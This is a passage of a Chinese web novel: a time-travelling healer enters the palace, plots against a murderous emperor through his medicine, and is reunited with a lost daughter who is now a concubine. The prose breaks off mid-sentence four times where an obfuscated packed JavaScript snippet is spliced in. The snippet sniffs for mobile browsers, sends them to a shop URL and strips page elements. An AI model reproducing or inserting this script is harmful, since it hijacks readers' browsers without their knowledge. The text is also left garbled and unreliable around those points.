或许此生再也不复相见?但是孙婆婆不甘心,她不止一次从他人口中听说被大官强行占有的女孩下场有多么悲惨。每至深夜,总能梦到念儿的身影。小姑娘还是以前十几岁的样子,哭着向妈妈求救呢。 直到皇城司蝗虫过境般进入景州,孙婆婆才意识到,邻居描述的带走念儿的那几个大官,和皇城司简直一模一样。 她抱有一丝不切实际的幻想,或许念儿是被献给皇上,过上好日子了? 虽然这个想法有些不现实,念儿只是个乡野丫头,怎么入的了皇上的眼。可这个想法是支撑孙婆婆等候爱女归来的最后的动力了。 她将念儿的饰品给了白羽歆,希望她能找到念儿,哪怕只是听到一些消息也好。 听了孙婆婆的恳求,白羽歆将装着饰品的布袋子交还给孙婆婆。 “孙婆婆,这太贵重了,我不能收。我会帮您寻找念儿的,您不用给我什么东西。” 孙婆婆却摇摇头,坚持要她收下:“姑娘,我这么大年纪了,也戴不上这些东西,留着没什么用了。你和我家念儿也差不多大,姑娘不嫌弃的话,这些首饰就留着给姑娘用吧。” “不不不,怎么会嫌弃呢?”白羽歆推脱不下,只好收下。 夜色太深,白羽歆和厉玦又商讨了一会儿,才回到家中。 当白羽歆回到房间时,却发现柳翠还没睡。 小姑娘红着眼眶,桌子上是几个揉成一团的纸团,看样子她很是伤心,哭了好一会儿。 “小翠——”话还没说完,柳翠大力抱住了白羽歆。 “羽歆姐,怎么办我好想你......”柳翠这段时日长了个子,已经到了白羽歆肩膀那么高,小姑娘闷闷地将脑袋埋在白羽歆肩头,说道,“姐姐,虽然你还没走,但是我就是很想你。” 白羽歆摸摸柳翠的头,实话实说,她也不想和柳翠分离,可有些事情不得不做。 如果这么做能让大家生活的更好,那么她必须这么做。总有些人要去冒险,白羽歆也许就是注定要铤而走险的那个人。 “小翠,我把你托付给了厉玦,以后我离开这里,厉玦会安排你的住所。他会保你平安无事的。” “我知道......”柳翠平静下来,但还是依依不舍,“我会想你的。” “我也会想你的,等我以后回来看你,没准你就长成大姑娘了。” 如果能回来的话。 到了不得不走的那天,皇城司围在家门外,连连催促,就连皇城司的总领也来了。 白羽歆知道身强力壮的人恢复的或许更快,可这也太快了吧!这才几天,皇城司总领就已经行动自如了! 皇城司总领的伤口看上去有些吓人,白羽歆没忍住多看几眼,却听见有人叫住她。 一个前几天把白羽歆带到皇城司总部,让她救人,对她发号施令的男人脸上挂着电视剧狗腿子专用微笑,对着皇城司总领点头哈腰。 “总领大人,这个女子就是把您救回来的神医。小的之前就说她医术不错,谁让那几个小子非要先找永安堂,差点耽误了您!” 似乎是觉得那人说的太多,皇城司总领做了个手势,那人见了乖乖闭嘴,退到两三米开外。 “是你救了我?”皇城司总领脸上神情仍然神奇气,完全没有把白羽歆一个小小的大夫放在眼里。 对于救命恩人都是这副态度,要不是为了打出名号进宫,她都多余救他! “回大人,正是小女。”白羽歆露出谦卑的神色,虽然她的医术并不需要这么谦卑。 “能进宫面圣是你的福气,以后多加注意吧。”说完这句话,皇城司总领就离开了。 柳翠趁他们说话的时候帮白羽歆把行李搬到马车上,现在走过来,好奇地问:“你们刚才说了什么啊?” 白羽歆回过神来:“不知道他在说什么,神神叨叨的,说什么进宫让我注意点。” 柳翠也不太明白,耸了耸肩, ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16596120|187461||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 继续把其他行李搬上马车。 皇城司又催促了几遍,柳翠和白羽歆才将准备的全部行头都放好。柳翠将白羽歆的衣服一件件整理好,整理的时候还哭了出来。 大概是当时流了太多眼泪,以至于现在居然坚强的没有再哭出来。 她们彼此都知道,等到白羽歆一离去,厉玦就会派人把柳翠接走。 “驾!” 白羽歆还没坐稳,车夫就驾马启程,白羽歆勉强稳住身形,往窗外一看,却看到柳翠追着车跑。 “姐姐......羽歆姐,姐姐!”柳翠边跑边喊,“一定要回来啊!” 白羽歆试图抑制自己要流泪的冲动,可是失败了。 她带着哭腔:“我会回来的!” “等我回来,我们一起上山,一起到处游玩!” 风声太大,她已经听不到柳翠说话,也看不到柳翠的身影了。眼泪模糊双眼,不用照镜子白羽歆都知道她此刻看起来有多狼狈。 — 从景州进京路途遥远,一路上颠沛流离,白羽歆几次险些吐出来。 古时候的道路不如现代,马车行驶在上面很是颠簸。 之前在现代,白羽歆一家人自驾游好几天都没没事,但现在才不过行进三天,白羽歆却觉得好像有半条命都交代在这里了。 再忍耐一下,再忍忍就好了......她听见自己说。 不知过了多少天,好像才不过五天,又好像过了许多许多天,有人拉开马车的帘子。 “到京城了,下来吧。” 京城不愧是京城,看起来就十分繁华。他们在这里停留一夜,第二天进宫。 白羽歆得到允许出去玩玩,买了些餐食,才在夜晚将至时回到安排的酒楼。 她躺在床上,感受着因为舟车劳顿而险些骨头散架的身体,大约是因为太过疲惫,很快就进入了梦乡。 在梦里,白羽歆好像又回到了她的家。她和爸爸妈妈吃了顿饭,饭后,白羽歆躺在妈妈怀里。她说,妈妈,我好想你啊,这里好可怕,我不要待在这里。 她挣扎起来,想抱得更紧,可却抱了个空。 白羽歆醒来,脸上满是泪水,怀里空空如也。 她听见有人在敲她的门:“到时候了,白姑娘,请随在下入宫吧。” — 进入宫中,白羽歆难得在心里惊叹起来。 即使看过不少影视剧,剧里也有不少装饰豪华的宫殿,白羽歆当时只觉得是电视剧拍的夸张而已。可今日入宫一看,白羽歆却发现这皇宫比起电视剧里的还要浮夸。 相必是花了不少钱。欣赏之余,白羽歆心里第一个冒出来的念头居然是这个。 她在心里叹着气,见过不少食不果腹的灾民,他们过着水深火热的生活,而皇帝却毫不在意。 不知不觉间,给白羽歆引领道路的人换了一批,领头的是一个太监,看起来年纪不小了,满脸沟壑。身边其他人都对他恭敬有加,应该是皇帝身边的大太监。 待白羽歆行至养心殿,那太监拖长了声调:“进去吧,皇上可在里边等着呢——” 12. 第 12 章 白羽歆无数次想过这位晟国的皇帝的相貌。在她的想象中,宴崇大约如同青面獠牙的恶鬼,或是不言苟笑的威严样子。 可不想,当她真正见到宴崇时,却着实惊讶了一瞬。 这位晟国的君主,看上去重病在身,虽然不敢笃定,但白羽歆看出来他似乎时日无多了。 宴崇年近四十,而早些年见过他的太医都说不惑之年正是他的大限之年。从小宴崇就因为病秧子的身体被其他皇子嘲笑,就连他母妃都觉得他活不长。 如今他虽然还活着,但身子一日不如一日,世间大夫众多,却没有一位能彻底根治宴崇的病,只能徒劳地吊着一口气罢了。 宴崇心里着急,什么法子都试过了,连一些他曾经看不上的乡野村医都找过。 而听说白羽歆奇迹般救回本来应该等死的景州皇城司总领后,宴崇才如此急切地召她入宫。 白羽歆学着其他人的模样谦卑地行了个礼,可谁能想象眼前这个柔弱的女子心里盘算着什么呢。 “皇上,这就是景州的神医白羽歆了。”领着她进门的太监对着宴崇说道。 宴崇问了白羽歆一些问题,大约是一些对于治疗的想法,白羽歆对答如流。从穿越一直到现在,白羽歆已经能够十分熟练地睁眼说瞎话了。 待白羽歆回答完宴崇所有的问题,身后突然走过来一个太医打扮的男人。他低声对着那个太监说了几句话,太监又将话复述给宴崇。 宴崇听完以后若有所思地看着白羽歆,又挥了挥手让太医下去。 不知道是不是错觉,白羽歆总觉得太医在离开的时候好像看了她一眼。她被那眼神弄得有些发毛,但是有那么多人盯着,白羽歆只好装作无知无觉。 “听说你在景州最擅长使用药草治病救人,甚至还能让人起死回生?” 这...... 白羽歆料想宴崇说的一定是皇城司的那个总领,脑袋上被开了个洞经过她的治疗都能好好活着,这在这个时代几乎可以说是奇迹了,给宴崇又增添了几分佐证。 可白羽歆心里清楚,皇城司总领运气好,只是伤及皮肉,没有生命危险。可又不是每个人的情况都相同,要想再找到这么幸运的人谈何容易。 白羽歆沉默了一瞬,还是如实回答:“回皇上,民女只是恰好识得药草功效,擅长以药草治病。至于起死回生,完全是运气好而已。” 宴崇摆摆手,沉声道:“不必谦虚,张福海——”被叫做张福海的太监立马应了一声。 张福海将白羽歆带出去,她有点一头雾水,不知道他们要前往何处。 “敢问我们是要去哪里啊。”白羽歆出声询问。 “当然是太医院。”顿了顿,张福海又道,“以后每日在皇上上朝前把药煎好,中午饭后,晚上睡前,都把药送过来。” 白羽歆心中吐槽,怎么跟打卡上班一样。不过在宫中上班是这样的吧,起早又贪黑。 张福海又说:“对了,每次一定要准备两人的量。有专门的试药太监在,别想动手脚。”张福海声音突然提高了几分,白羽歆被吓了一跳,回身看了他一眼。 当然,谁会傻到用这么明显的方式直接动手。 这样的警告白羽歆听过很多次,根本就没当一回事,可张福海显然误解了她的意思,又说:“当然,这不是不信任你,只是皇上可是九五至尊,必须要多加小心。” 白羽歆笑了笑:“当然。” 来到太医院,白羽歆才发现在宫中行医并非那么简单。 院使名叫孟平,留着一缕胡子,看上去比较亲善。如果原主的父亲与他不相识的话,或许真的就被他这副模样骗过去了。 曾经,院使这个位置是原主父亲白济仁的。白家满门抄斩后,孟平表面上伤心欲绝,声称绝不相信白济仁居然敢做这种事,可背后却跟几位同僚落井下石。 至于孟平口中的“这种事”究竟是那种事,原主并不知道。毕竟满门抄斩来的太突然,她甚至都不清楚发生了什么。 根据原主的记忆,那天原主待在房间里梳妆,母亲匆匆跑进来,告诉她快跑。 父母拼命拖延时间,原主才勉强离开,在她的记忆里,父母被当场斩首的尸首是他们的最后一面。 白羽歆心中满是愤怒,看来光解决宴崇不行,还要多解决一个孟平。 当然,白羽歆平日里深居简出,晟国大户人家的小姐大多出面的机会寥寥无几,没有多少外人见过,名字也几乎不被外人所知。 不过,像寻常村落就没有那么严格了,大家住处相邻,也就不是什么秘密了。 这倒是方便白羽歆隐藏,不至于刚开始就被人揭穿。 她面上还维持着初入宫中的生疏和不适应,没有人起疑,但也没有人友善地对待她。 左院判和右院判看起来年纪不轻了,见了白羽歆只冰冷了瞥了一眼就离开。 御医共有十几位,不是每天都在,大部分时间是轮班制,不在工作的时间就各回各家。而再往下就是杂役人员,负责药材的加工。 太医院里有几位女学徒,事实上,民间很早就开设了女子学堂,朝堂上也时有开设女官职位的提议。不过在太医院里,说是学徒,但只让她们只负责打扫房间和整理药材,学不到什么东西。 张福海让白羽歆可以随意使用太医院的药材,又叮嘱了院使几句,就离去了。 可是接下来这几天,简直如同噩梦一样。 平日白羽歆起个大早就要去煎药,好不容易煎了两人份送到养心殿,回来时就被安排去太医院各处洒扫。白羽歆争辩这不是她的工作,却敌不过对面的官职,只好勉强应下。 不仅如此,当白羽歆拿出她从景州一路带过来的药草时,其他太医露出不屑的神情。 “切,一看就知道又来个哗众取宠的。” “不知道她能坚持几天。” “用这种不入流的药材,荒谬!” 白羽歆心力交瘁,无心争论这些事情,因为她在熬晚上的药。 该死,干脆弄点耗子药算了,大家一块死。 白羽歆心里想着,却窝窝囊囊地把煎好的汤药送到养心殿。< ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16596121|187461||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' /p> 她特意选取了一些能在短时间内效果显著的药材,给宴崇营造出一种有奇效的错觉。这样一来,就算宴崇不信任她,让太医来检查,也查不出任何问题,最多只会评价一句用药大胆。 嗯,小作坊下药就是猛。 等到宴崇服用这种烈性大补的汤药之后,白羽歆再加入一些相克的药材,就容易许多了。 寻常人就算连新加入的药材一块喝了也不会有什么问题,但宴崇天生身体虚弱,承受不住此等功效。这大概就是传说中的对症下药了吧。 白羽歆将新的汤药送到张福海的手中,果然,对方接过装着两碗汤药的托盘,对白羽歆说道:“不愧是景州的名医,皇上说最近身体确实有所好转,让你明日去领赏呢。” 白羽歆笑了笑,说了几句感谢皇上大恩大德的话,看着张福海进入养心殿的背影,转而离去了。 走到一半时,天上忽然下起了雨,天也变得更黑了。虽然现在本就是夜晚,但这样的场景还是显得有些吓人。 白羽歆在廊下躲雨,可等了半天雨也没停,正考虑着要不要直接走回去,却看见几个宫女撑着伞匆匆跑过来。 白羽歆拦住她们:“不知是否顺路,可否带我一程。” 一个宫女急匆匆说道:“我们要去太医院!” 太医院!刚好顺路! 白羽歆告诉她们,她恰好也去太医院,两个宫女对视一眼,还是选择和她一同前去。 多亏了两人的伞,白羽歆才不至于淋着雨走回来,她心里很感激,想着一定要好好道谢。 还没等白羽歆将感谢的话说出口,就听一个宫女大喊:“九公主高烧不退,为何太医院三催四请,没有一人前来诊治!” 一个小太监听了将一个太医请出来,对方听说是九公主生病,说什么也不肯去。 “不是我们太医院不去,实在是不能去啊。” “岂有此理,我们九公主可是皇嗣,就算不看在我们淑妃的面子上,难道也不把皇上看在眼里吗?” 太医却摆摆手:“不让我们诊治九公主的人就是皇上啊。” 那个宫女不相信,还想再说什么,另一个宫女却拉住她,在她耳边说了什么。 白羽歆听不真切,却看到先前说话的宫女像是泄了气一般。 “可是我们九公主都烧成那样了,就算不给治病,起码也要开些药材吧......”她越说越小声,但又不肯轻易放弃,九公主烧红的小脸还在她脑海里不曾散去。 白羽歆走了过去。 “如果你们相信我的医术的话,也许我可以去看看九公主。” “真的吗?”那个宫女眼睛瞬间瞪大了,“太好了,如果你能治好九公主的话,我家娘娘一定会重赏你的!” 白羽歆拿了药材,随着她们前去行医。临离开时,那个太医恶狠狠地警告她不要乱发善心,白羽歆不理会他,只淡淡地说她并非太医院的人,他管不着她。 到了这位淑妃的寝宫,白羽歆推门进来,看到一个貌美的年轻女子神情焦急,抱着一个小孩子。 13. 第 13 章 九公主看起来烧得的确很严重,已经到了神志不清的地步,嘴里不断口齿不清地念叨着听不清的话,手却抓着淑妃的衣服不放开。 淑妃看起来很慌乱,也顾不得礼仪,将孩子放下,走到白羽歆身前急切地问:“你能救救我家月儿吗?她不知道怎么回事,不仅高烧不退,还一直说‘好怕’,‘别过来’。” 白羽歆轻声安抚了淑妃几句,上前查看九公主的情况,那孩子呼吸急促,看上去的确不仅仅是高烧。 “敢问淑妃娘娘,九公主最近有去过什么地方,或者看到过什么东西吗?” 淑妃仔细回忆了一下,摇摇头:“没有,月儿走路都费劲,能去哪儿呢?她最多就在寝宫里面走一走。” 寝宫里...... 白羽歆一边拿出治疗高烧的药,叮嘱宫女烧些热水把药煎了,一边用帕子给九公主擦拭身子。她若有所思地思考着,在淑妃焦急的视线中缓缓开口。 “淑妃娘娘,敢问永和宫近日有没有其他人来往?” 思索了片刻,淑妃忽然面如土色,半晌才开口说话:“只有皇上来过。” 宫女很快按照白羽歆的叮嘱将煎好的药送了上来,淑妃不放心,亲自将药吹凉了喂给九公主。 白羽歆早些时候听过宴崇的其他传闻,虽然都说“虎毒不食子”,但宴崇显然不在此列。他对于皇子公主们全然没有感情,除了在他登基前出生的长公主以外,其他皇嗣鲜少能与他见面。 宴崇子嗣绵薄,公主共四位,皇子有五位,其中一个年龄尚小,无力与其他皇兄争夺什么。除此之外,还有几个生下来没多久就夭折的,虽然人已经不在了,但还是算在皇嗣里,有自己的排序。 排在九公主前边的八皇子就是三岁得了咳疾逝世的。得病的皇嗣病症都被记录在册,白羽歆被其他太医使唤着做事时偶然看到,趁没人在意时翻阅了一会儿。 这上面的记录实属详细,白羽歆一边翻阅着,一边感慨记录人的用心。 不知是不是遗传了宴崇的体质,很多皇子公主身体都不太好,各种疾病不断,有的甚至到了每日用药不得停歇的地步。 似乎是药起了效果,九公主脸色转好了不少。她睁开眼睛,对淑妃笑了一下:“娘。” “月儿。”淑妃喜不自胜,看起来很激动。 “太好了,九殿下终于没事了!”一直陪在淑妃身边的宫女也很欣喜。 突然,九公主扯了扯淑妃的袖子,一双大眼睛不安地打量四周:“娘,我看到有个姐姐......她被父皇杀——” 话还没说完,淑妃捂住九公主的嘴:“不许胡说。” 一旁的宫女却忽然想到了什么:“娘娘,夏竹她失踪有几天了。” 淑妃仔细一想,确实有一阵子没见到夏竹,人在她眼皮底下消失,却没一人发觉,不由得有些恼怒。 “春桃,这么大的事怎么才告诉我?” “娘娘息怒,并非是奴婢知情不报,只是之前夏竹这丫头就爱偷懒耍滑,奴婢以为她寻了个僻静地方偷懒去了,奴婢实在不知啊!”春桃吓得跪在地上,脸色比生病的九公主还要惨白。 “你起来吧,本宫还没说什么呢。”淑妃摆摆手,转而看向其他人,“秋葵,冬梅,你们最后一次看到夏竹是在什么时候?” 秋葵仔细想了想:“回娘娘,奴婢上次见到夏竹是在三日前,平日我们不经常在一起干活,也不同寝,所以不太清楚。” 冬梅听到九公主先前这番话,早已陷入回忆中,听到淑妃叫她,有些慌乱。她表现得犹犹豫豫,不知道该不该说。 “娘......娘娘,奴婢实在惶恐,不敢妄议皇上,只是不知道该不该说......”冬梅身子都在颤抖,眼神盯着地上,不敢与淑妃对视。 “你们,先下去吧。”淑妃见状,让外面那些守着的太监宫女全都出去。 太监宫女们应了一声,静悄悄地走出门去,最后出去的宫女关上了门,房间突然变得有些昏暗。 白羽歆不知道自己是不是应该出去,她总觉得好像听到了不得了的东西。 淑妃道:“现在没有外人了,你但说无妨。” 冬梅这才开口:“娘娘,奴婢......奴婢在三日前的晚上和夏竹在一起干活,后来皇、皇上来了,有人吩咐她去煮醒酒汤。夏竹煮了醒酒汤就送过去了,后面......就再也没回来。” 淑妃的脸色逐渐变得很难看,三天前皇上确实来过永和宫,当时他喝的酩酊大醉,几个护卫甚至要架着他才能走过来。 皇上身边的太监下去叮嘱宫女煮醒酒汤,然后皇上杀了夏竹,正好对应了月儿说的话。 可是,皇上为什么这么做? 淑妃想着,皇上无论如何,总不至于要对宫中人赶尽杀绝的。可她太天真了,以为宴崇会有皇帝一惯的气度,却不想宴崇何时展现过合格皇帝的一面。 这时候,九公主撑起身子贴近淑妃身边,将没说完的话说下去。 这次淑妃没有阻拦,她似乎陷入极度惊讶中,也为自己身为一宫之主连身边的宫女都保护不好而自责。在她的疏忽下,一个人悄无声息地失去生命,这对于她来说太过惊讶。 在九公主的话中,白羽歆逐渐拼凑出事情的来龙去脉。 三日前的夜晚,皇帝宴崇喝醉了酒,来永和宫寻淑妃。宴崇身边的太监张福海叮嘱冬梅和夏竹煮碗醒酒汤送过去。 夏竹煮了醒酒汤,送到宴崇歇息的地方。宴崇见了夏竹,心生歹念,想要强迫她。夏竹不从,慌乱中挣脱,想要逃走。宴崇恼羞成怒,抽出身边护卫的剑捅穿了夏竹的心口。 九公主宴明月正巧被宴崇进来的动静吵醒,前去查看,却在门缝中看到宴崇杀了夏竹的全过程。宴明月年纪尚小,看到这场景吓坏了,僵在原地不敢动弹。 护卫想着悄无声息地处理了夏竹的尸首,推开门,却看见吓傻了的九公主正愣愣地站在门外。 “九公主,您怎么在这里。”护卫显得很慌乱。 “明月?”宴崇神志有些不清,却在这时扮演起了一个好父亲,“明月,过来,让父皇抱 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16604545|187461||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 抱你。” 明月吓坏了,呆愣在原地,十分害怕。现在她的父皇杀了夏竹,谁能保证下一个不会是她呢? 护卫拖着夏竹的尸体离去,不知是不是错觉,宴明月跟夏竹的眼睛对视了。那双一向神采飞扬的眼睛此刻写满了不甘,像一潭死水,再也没有了往日的光彩。 宴崇跌跌撞撞走过来,抱住宴明月,在接触她的那一刻,宴明月撕心裂肺地哭起来,挣脱了宴崇的怀抱。 宴崇失了面子,这才在听说宴明月生病后禁止太医为她诊治。 原来是惊吓过度,九公主才烧得如此厉害,见宴明月面色好了不少,烧也渐渐退了下去,白羽歆放心了许多。 宴明月一面说着,淑妃一边掩面哭泣。她曾对皇上抱有不切实际的幻想,却不想他竟当真冷血至此。宴明月是他的亲骨肉,可宴崇却丝毫不顾她的安危。 “娘娘,不必伤心了,您看,明月殿下不是已经治好了吗。” 宴明月看着白羽歆,很是喜欢这个温柔漂亮的姐姐,目光交汇间,她对白羽歆笑了笑。 白羽歆同样回赠宴明月一个浅浅的笑容,她收拾东西,既然九公主已经治好,那她也是时候离开了。 临行时,淑妃叫住了她。 白羽歆一头雾水:“淑妃娘娘,您还有什么事吗?” “你叫什么名字,在哪里做事,本宫会派人嘉奖你的。” “娘娘何必如此客气,诊治九公主不过举手之劳,是民女份内的事。” 淑妃一再坚持,白羽歆才不得已报上姓名,当她说自己来自太医院时,淑妃表情微变。 白羽歆察觉到淑妃表情的变化,却不明白她这是何意。 待白羽歆走后,淑妃长叹一口气。 “娘娘,您怎么了。”春桃刚刚听闻夏竹的经历,出去默默擦了眼泪,现在眼睛还红着。 淑妃拍打着宴明月,哄她睡觉:“我只是在想,又是个可怜人,怎样能让她免于一场危难呢。” 淑妃所言非虚,第二日刚刚送过汤药回来,淑妃派来的人就将财物尽数奉上。 往来的宫女太监不掩惊讶的神色,都在猜测是哪位太医治了哪位贵人。 “请问白羽歆白小姐在吗?淑妃娘娘为了感谢她特意送上奖赏,还请你们请她出来一趟。” 那小太监刚想说她不在,就看见白羽歆匆匆赶来。 “是我,我在,怎么了?” 看到托盘里的财物,白羽歆吓了一跳,这也太多了吧。如果还在开药铺的话,白羽歆就是五年都挣不了这么多钱。 “淑妃娘娘和九公主谢过白大夫。” 白羽歆和春桃客气了一阵,还是收下了奖赏,她回到太医院内,听见无论是太医还是宫女太监都在议论今日淑妃送来的赏赐。 有的人眼睛都要红了:“真该死,要是知道淑妃这么大方,说什么都要去一趟。” “真让她赶上好时候了,治个发烧就得那么多银钱。” 白羽歆笑着摇摇头,不去理会“同僚”的诋毁,继续工作去了。 14. 第 14 章 白羽歆睁开眼,听到外面传来的鸟语花香。她勉强从被子里爬出来,理了理杂乱的头发。 真该死,又要上班。 将药送到养心殿后,白羽歆往回走,却并没有回到太医院。 这些天太医院的人总是巴结白羽歆,弄得她不知道怎么办才好了。 每次她送完药回到太医院,里面的太医就堆起笑脸看着她,也不再给她安排活了。 白羽歆闲着无聊,之前送药时问过张福海,能不能在御花园里逛一逛。 一般来说,太医是不能随意出入的,他们去哪里都要受到严格限制。但白羽歆是女人,皇上又不用担心什么,因此张福海就应允了。 白羽歆来到御花园,正巧遇见淑妃,对方坐在小亭子里,正在看风景。 白羽歆上去打招呼:“淑妃娘娘晨安。” “不必这么客气,快请坐。”见来者是白羽歆,淑妃显得很意外,也很高兴。 “九公主怎么样了,身体还好吗?”白羽歆问道。 “月儿身体已经好了,只是心里还走不出那天的阴影......”正说着,淑妃又变得满面愁容。 白羽歆能够理解,毕竟那么小一个孩子,意外撞见那样可怕的场面,就算是成年人都受不了。 更何况那个人还是宴明月的生身父亲,一个劣迹斑斑但在母妃口中依然伟岸的人。 白羽歆宽慰了几句,淑妃请她坐下,两人聊了一会儿。白羽歆提醒淑妃要多注意宴明月的内心感受,淑妃将将应下。 正说着,又来了几个妃子,似乎是一些低位妃嫔,本想着在御花园散散步,却正好撞见淑妃,于是过来打招呼。 令白羽歆意外的是,这些妃嫔们的关系异常和睦,跟影视剧里暗流涌动的场面根本不一样。 待那些妃子们走后,淑妃好不容易找到可以说说话的人,像是打开了话匣子,源源不断地讲述起来。 其实后宫里这些嫔妃大多都不是自愿进入皇宫的,有的人被派驻在各地的皇城司掳走,献给皇上,大多数人甚至先被皇城司的人占有。 还有的人在皇上巡游各地时被看中,被强行带到宫中来。 更有甚者,虽是高门大户的小姐,但家中父亲兄弟为了仕途,将她进献给皇上。 进入后宫的女人,不是每一个都有位分的,像淑妃这样虽然身份低微到获得妃位的少之又少。大部分人只有一个“美人”的称号,几个人睡在一个屋子里,生活起居都成问题。 听了淑妃的讲述,白羽歆不由得多了几分同情。的确,身处后宫的人明明不情愿,却被迫困守于此。见了皇帝的这一面,谁又会心生幻想呢。 等到待的时间够久了,淑妃起身告辞:“我还要回去看看月儿,她应该午睡醒了。”白羽歆也该回去了,就和淑妃告别。 — “厉大人,您怎么睡着了?” 手下急匆匆推开门,却看见厉玦眼睛紧闭起来,稳稳靠在椅背上。 “哪里,本官只是觉得办公时将眼睛闭起来比较舒服而已。” 厉玦心不慌气不乱,一本正经地说瞎话。 “这明明是睡觉!” 他这些天失眠,每次刚刚睡着,就总能梦到白羽歆。在梦里,她的计谋被识破,被皇帝当场下令处死。 厉玦想要阻止这一切,拼命向前,却离得越来越远,然后猛然惊醒。 他不愿再做这些梦,于是强撑着不让自己睡着。 厉玦又将视线转向窗外,皇城司最近不知为何,收敛了许多。 根据经验,皇城司大概很快就要离开了。 “话说,你这么着急进来有什么事?”厉玦询问手下。 被这么一打岔,手下才想起来:“大人,这一次的朝圣提前到月中了。” “提前?” 厉玦有些意外。 在平时,身为一州知县,厉玦只用在每个月的月末面见皇帝一次就可以。一般这时候,各地知县都会带上当地的一些奇珍异宝,本地特色和一些财物。 其实按照惯例,知县们也应该讲述当地民生治理所取得的成就。但是皇帝不感兴趣,所以就这么算了。 厉玦算算日子,惊讶的发现他三日后必须出发。他本来就因为长时间神经衰弱,睡眠不足,所以白天头痛的很。刚刚也是实在撑不住,小睡了一会儿。现在一想到又要舟车劳顿,来来回回折腾好几天,天都塌了。 这种日子什么时候可以结束,厉玦无力地靠在椅子上,抬头看天花板。 — 淑妃派人请白羽歆再来永和宫一趟,想到九公主的病情,白羽歆确实有些不放心,所以趁着闲着的时候去了一趟。 “淑妃娘娘,九公主的病已经好的差不多了。只是她对于那天的事情还是有些心理阴影,您平日里多安抚一下九公主,她看起来很没有安全感。” 淑妃心疼的看着宴明月,明月倚靠在她怀里,瞪大了眼睛,不安地看着四周。这孩子还那么小,却畏手畏脚,看了让人心疼。 “我带了一些安神的药,淑妃娘娘平日里可以让人煮熟了给九公主殿下服用。”白羽歆拿出一包药,将它交给春桃。 淑妃道了声谢,眼睛看起来红红的。她这些天照料宴明月,又总胡思乱想,精神不太好。 白羽歆将要告辞,一转身,淑妃却突然叫住她。 “等等!” 白羽歆疑惑:“淑妃娘娘,还有什么事吗?” 淑妃情急中抓住白羽歆肩膀,后来觉得不妥又放下。 “你的簪子......请问,你的簪子是从何处买来的?” 白羽歆今天早上随手拿出孙婆婆送给她的一袋子首饰,拿了根簪子挽了头发,这么提醒,白羽歆觉得有些不对。 “淑妃娘娘,请问,你......和景州有什么关系吗?或者说,您是景州人吗?” 淑妃像被雷劈中了一样,半晌才缓过神来,她重重点了点头:“我以前就是景州人!你是不是认识一个姓孙的妇人!” “孙婆婆?你是念儿!” 久违地听到这个名字,淑妃, ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16609137|187461||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 不,应该是赵念儿,她格外激动。 “我娘她还好吗?她一个人生活是不是特别辛苦?她怎么样了,有没有被人欺负?” 一连串问了很多问题,白羽歆一时招架不住,只得从她了解的方面入手。 “孙婆婆,她自从你失踪后就一直在找你,找了很久很久,但是一直没有找到。她哭瞎了眼睛,总是念叨着你的名字。有时候,孙婆婆会到集市上找你,虽然看不见了,还是拄着拐杖找你。她看上去精神也不太好,但是,她很想你。” 一连串说了许多,白羽歆一抬头,却发觉赵念儿已经泪流满面。 宫女们早已识趣地离开了,偌大的永和宫只能听见赵念儿的哭泣声。宴明月用小手擦去她的眼泪,却发现那眼泪太多了,怎么也擦不尽。 “娘......”赵念儿第一次表现得如此脆弱。平日里,她是一宫之主,要保持体面和威严。在皇上面前,她是宠妃,不能表现出一点逃离的念头,不然就会引来杀身之祸。 每次撑不下去了,她就会劝说自己忍一忍,再忍一下。她已经有了女儿,自己走了一趟鬼门关生下的,她的骨肉。就算不为自己考虑,也要考虑一下自己的女儿。 可是太累了,太辛苦了,赵念儿不知多久没能像现在这样,痛痛快快地哭一场了。 曾经刚入宫时,她也有过这样的时候,但人的成长总是迅速的,经过这么多年的蹉跎,她已经快到忘记当初的那个家了。 多亏了白羽歆,让她记起来,她不是身在皇宫中身不由己的淑妃,而是景州小城里自由自在的赵念儿。 赵念儿擦去眼泪:“谢谢你告诉我这些。” 